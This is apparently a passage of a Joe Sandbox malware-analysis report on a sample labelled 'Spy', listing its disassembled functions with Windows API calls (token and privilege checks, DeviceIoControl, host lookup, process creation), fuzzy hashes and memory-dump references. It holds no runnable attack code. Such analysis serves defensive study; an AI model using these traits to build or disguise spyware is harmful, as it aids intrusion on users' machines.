Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 24135a3c292c16f84bfa9ac03fbc3b397eb2307750ea320042ac5d76e38a86c4
Instruction ID: 8c0203405aef3ba7ebedaff02d4155e9a5c3c6c3de1495bdf8f82b51a4cceebd
Opcode Fuzzy Hash: 24135a3c292c16f84bfa9ac03fbc3b397eb2307750ea320042ac5d76e38a86c4
Instruction Fuzzy Hash: 31110631A041046EDB08BBA4AE46DBE7B6DEF8A321F14015AF204972C2EFA55D5287A1

Function 00AD9274 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD8D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00AD8D3F
Part of subcall function 00AD8D28: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00AD8D49
Part of subcall function 00AD8D28: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00AD8D58
Part of subcall function 00AD8D28: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00AD8D5F
Part of subcall function 00AD8D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00AD8D75

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00AD92C1
_memcmp.LIBCMT ref: 00AD92E4
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00AD931A
HeapFree.KERNEL32(00000000), ref: 00AD9321

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 1ef0c92a861c0e1d6d70bbbec83e4aedf9764bc6dfa7607e0ac19c4b490d5664
Instruction ID: ec9f3a1ab67df505105c0809dc48681e2ecea20459a3e5971916aec0bc15e009
Opcode Fuzzy Hash: 1ef0c92a861c0e1d6d70bbbec83e4aedf9764bc6dfa7607e0ac19c4b490d5664
Instruction Fuzzy Hash: A4219D31E40109EFDB14DFA5C949BEEB7B8FF44301F14805AE896AB390D770AA44CB90

Function 00B0634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00B063BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00B063D7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00B063E5
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00B063F3

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 3e082759615caa05d0569bdec7e442102e2957c0381a117f8f1a39bafa6af8af
Instruction ID: 7fc01b417bd9c570663566dbe074768d921ad42addc381b3ee66492b2a4591c2
Opcode Fuzzy Hash: 3e082759615caa05d0569bdec7e442102e2957c0381a117f8f1a39bafa6af8af
Instruction Fuzzy Hash: 7511B131305514AFD705BB28DC55FBA7BA9EF45320F148259F916C72D1CBB0AD408B94

Function 00ADE45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADF858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00ADE46F,?,?,?,00ADF262,00000000,000000EF,00000119,?,?), ref: 00ADF867
Part of subcall function 00ADF858: lstrcpyW.KERNEL32(00000000,?,?,00ADE46F,?,?,?,00ADF262,00000000,000000EF,00000119,?,?,00000000), ref: 00ADF88D
Part of subcall function 00ADF858: lstrcmpiW.KERNEL32(00000000,?,00ADE46F,?,?,?,00ADF262,00000000,000000EF,00000119,?,?), ref: 00ADF8BE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00ADF262,00000000,000000EF,00000119,?,?,00000000), ref: 00ADE488
lstrcpyW.KERNEL32(00000000,?,?,00ADF262,00000000,000000EF,00000119,?,?,00000000), ref: 00ADE4AE
lstrcmpiW.KERNEL32(00000002,cdecl,?,00ADF262,00000000,000000EF,00000119,?,?,00000000), ref: 00ADE4E2

Strings

cdecl, xrefs: 00ADE4D9

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 95340f2309d0c7fbe6a11c76c65326c0af8252a0f34e30751df7c93c0e4271d0
Instruction ID: eb578b434cd8783d312c69188893c99819ee8c5527620e877827c210c23ac7f7
Opcode Fuzzy Hash: 95340f2309d0c7fbe6a11c76c65326c0af8252a0f34e30751df7c93c0e4271d0
Instruction Fuzzy Hash: 2B115B7A200345AFDB25AF24EC45D7E77A9FF45350B90802BF806CB3A0EB719990D7A1

Function 00AB5312 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00AB5331

Part of subcall function 00AA593C: __FF_MSGBANNER.LIBCMT ref: 00AA5953
Part of subcall function 00AA593C: __NMSG_WRITE.LIBCMT ref: 00AA595A
Part of subcall function 00AA593C: RtlAllocateHeap.NTDLL(01380000,00000000,00000001,?,00000004,?,?,00AA1003,?), ref: 00AA597F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: c9de3625ec5d5f1d368bdfa4ee17bfe96945bf26272b30601a791e6d48320007
Instruction ID: 6e31ab508b04045ff86fd3596f7af2a9eb16409b70777692c590acc54ba3fb11
Opcode Fuzzy Hash: c9de3625ec5d5f1d368bdfa4ee17bfe96945bf26272b30601a791e6d48320007
Instruction Fuzzy Hash: CE118232D05A16AFCB243F74AD157DA3AD8AF163A0B10452AF9589F2D2DFB489409790

Function 00AE4365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00AE4385
_memset.LIBCMT ref: 00AE43A6
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00AE43F8
CloseHandle.KERNEL32(00000000), ref: 00AE4401

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 546cac9450196f55561169b5c931287c3f09b19aa6288783cda0a64fdbc7a5dc
Instruction ID: d73d34f8d635f7e97fb000dcaa4ea876a01425aaccdc0640eb822065869ee46b
Opcode Fuzzy Hash: 546cac9450196f55561169b5c931287c3f09b19aa6288783cda0a64fdbc7a5dc
Instruction Fuzzy Hash: 78110A719012287AD7309BA5AC4DFEBBB7CEF49720F00459AF908E72C0D6744E808BA4

Function 00AF6A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00A9402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00AE7E51,?,?,00000000), ref: 00A94041
Part of subcall function 00A9402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00AE7E51,?,?,00000000,?,?), ref: 00A94065

gethostbyname.WSOCK32(?,?,?), ref: 00AF6A84
WSAGetLastError.WSOCK32(00000000), ref: 00AF6A8F
_memmove.LIBCMT ref: 00AF6ABC
inet_ntoa.WSOCK32(?), ref: 00AF6AC7

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: e0c7b5c80adeb02a3b09bdc1dfae34673fbd0736b6c2c1f87798603fc6b58803
Instruction ID: 36ad75ea45cbd1dd0baa47a527321eafddc5940f89a51b2aa4e49f9a8e4dc0d3
Opcode Fuzzy Hash: e0c7b5c80adeb02a3b09bdc1dfae34673fbd0736b6c2c1f87798603fc6b58803
Instruction Fuzzy Hash: E5116375600109AFCB04FBE4CE86CEEB7B8EF08311B544165F602A72A1DF70AE40CB91

Function 00AD96F9 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00AD9719
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00AD972B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00AD9741
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00AD975C

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b58ec3223e1bfc2dbf1447c9469d3cd7c24b9b6d54bcbf90e2d6c693c9cd7f7c
Instruction ID: 808076a1add889721b2ec957cf10676d9e702b404cdfb9d470457e8a9fcd1954
Opcode Fuzzy Hash: b58ec3223e1bfc2dbf1447c9469d3cd7c24b9b6d54bcbf90e2d6c693c9cd7f7c
Instruction Fuzzy Hash: 75115A39900218FFEB10DF95CD84EDEBBB8FB48710F204092E901B7290D671AE10DB90

Function 00A8166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00A829E2: GetWindowLongW.USER32(?,000000EB), ref: 00A829F3

DefDlgProcW.USER32(?,00000020,?), ref: 00A816B4
GetClientRect.USER32(?,?), ref: 00ABB93C
GetCursorPos.USER32(?), ref: 00ABB946
ScreenToClient.USER32(?,?), ref: 00ABB951

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 8425e3a6163e85b52fdcf2ca200c9a7a12090b9a0ac3ce0355738885a612a472
Instruction ID: 6588e0ab5c576a5e2de78e017f8dd9dfdfae46bb9f67b5697dab947b09a90e36
Opcode Fuzzy Hash: 8425e3a6163e85b52fdcf2ca200c9a7a12090b9a0ac3ce0355738885a612a472
Instruction Fuzzy Hash: A0112839A10119ABCB10FF54C885DFE77B9FB05300F544466F981E7150EB74BA92CBA1

Function 00A82111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00A8214F
GetStockObject.GDI32(00000011), ref: 00A82163
SendMessageW.USER32(00000000,00000030,00000000), ref: 00A8216D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 434ca1b1c29da95d7a6b2bf9a521ec383878686cbbf0e2a3c0dac24611b696dd
Instruction ID: d0e7a149946f67070f574e5b066aeb7380ea77325535d04c5c409d044110d47f
Opcode Fuzzy Hash: 434ca1b1c29da95d7a6b2bf9a521ec383878686cbbf0e2a3c0dac24611b696dd
Instruction Fuzzy Hash: 1B118B7211124DBFDB02AFA09C48EEABB69EF58354F154202FA0452064CB71DCA0DBA0

Function 00AE1941 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00AE04EC,?,00AE153F,?,00008000), ref: 00AE195E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00AE04EC,?,00AE153F,?,00008000), ref: 00AE1983
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00AE04EC,?,00AE153F,?,00008000), ref: 00AE198D
Sleep.KERNEL32(?,?,?,?,?,?,?,00AE04EC,?,00AE153F,?,00008000), ref: 00AE19C0

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: d2d1d714062449e9456198ba6b4f829981fdf566fda3c8af2b8547272bae192b
Instruction ID: 6f98d533f980a6aa1f9692c01a17f4915307efe2088934c6869120e901c259ff
Opcode Fuzzy Hash: d2d1d714062449e9456198ba6b4f829981fdf566fda3c8af2b8547272bae192b
Instruction Fuzzy Hash: 45113C31D0456DEBCF00AFE6D998AEEBB78FF09751F408155E980B3242CB3496A08B95

Function 00B0E1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00B0E1EA
LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 00B0E201
RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 00B0E216
RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 00B0E234

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 8bfd5ab92a10f77c9f6f3acfa76182743d2604e2d8bb2b2daaba5aec03b58b48
Instruction ID: ca9674c70e9441e898109c279bb2ad069436972c05a34e6fe5bebdfaf7de5ffd
Opcode Fuzzy Hash: 8bfd5ab92a10f77c9f6f3acfa76182743d2604e2d8bb2b2daaba5aec03b58b48
Instruction Fuzzy Hash: FD115EB52053049BE7309F51ED48F93BBFCEB40B00F108999A626D6190DBB0E5449BA1

Function 00AB71E7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00AB720B

Part of subcall function 00AB78F2: __fltout2.LIBCMT ref: 00AB791B

__cftog_l.LIBCMT ref: 00AB7231
__cftoe_l.LIBCMT ref: 00AB7263

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: ce5863f4027d1d8f18c25c9af6f7905e581a62f7b280632b567b0a3466d7eea1
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 30019E3204814EBBCF125F84CC01CEE3F2ABBA9340F098515FE1868132C776C9B1AB81

Function 00B0B937 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00B0B956
ScreenToClient.USER32(?,?), ref: 00B0B96E
ScreenToClient.USER32(?,?), ref: 00B0B992
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B0B9AD

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 069d795c5b2355c9fc89fbcd4a9df896a8ae4bc548efa81b57f3561975633974
Instruction ID: 0a96f412bf2ad4ec2411d46993958a4749e2b6c03b164052c36dfe8f2b7cd141
Opcode Fuzzy Hash: 069d795c5b2355c9fc89fbcd4a9df896a8ae4bc548efa81b57f3561975633974
Instruction Fuzzy Hash: B81144B9D00209EFDB41DF98C984AEEBBF9FF48310F508156E914E3610D775AA658F50

Function 00B0BCA7 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B0BCB6
_memset.LIBCMT ref: 00B0BCC5
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00B48F20,00B48F64), ref: 00B0BCF4
CloseHandle.KERNEL32 ref: 00B0BD06

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 237416d36b093ed81f5a13a0ad9f75e4e9ae480a7dbc9ff1e46bf3eea2550f2c
Instruction ID: 794f700a2ea8980b5d852e05aff99e6dc73e548e03300f8d4fdc55b441ff7828
Opcode Fuzzy Hash: 237416d36b093ed81f5a13a0ad9f75e4e9ae480a7dbc9ff1e46bf3eea2550f2c
Instruction Fuzzy Hash: 3AF05EB6550304BFE6503B65AC05FBF7A9DEB0A750F004921BA08EB1A2DF724A1497A9

Function 00AE7195 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00AE71A1

Part of subcall function 00AE7C7F: _memset.LIBCMT ref: 00AE7CB4

_memmove.LIBCMT ref: 00AE71C4
_memset.LIBCMT ref: 00AE71D1
LeaveCriticalSection.KERNEL32(?), ref: 00AE71E1

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: be8ecae95c319ac43de39d84cbf2e1fddcc3e70e9b32823c2a6e0c815749c766
Instruction ID: bd980256a38185fe9e4d283ba047c1d27ba406083abe331b56c102f5ee91cfdf
Opcode Fuzzy Hash: be8ecae95c319ac43de39d84cbf2e1fddcc3e70e9b32823c2a6e0c815749c766
Instruction Fuzzy Hash: F8F0543A100104ABCF016F55DD85A8ABB29EF4A320F04C051FE085F25ACB75A951DBB4

Function 00B0C3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00A816CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00A81729
Part of subcall function 00A816CF: SelectObject.GDI32(?,00000000), ref: 00A81738
Part of subcall function 00A816CF: BeginPath.GDI32(?), ref: 00A8174F
Part of subcall function 00A816CF: SelectObject.GDI32(?,00000000), ref: 00A81778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00B0C3E8
LineTo.GDI32(00000000,?,?), ref: 00B0C3F5
EndPath.GDI32(00000000), ref: 00B0C405
StrokePath.GDI32(00000000), ref: 00B0C413

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
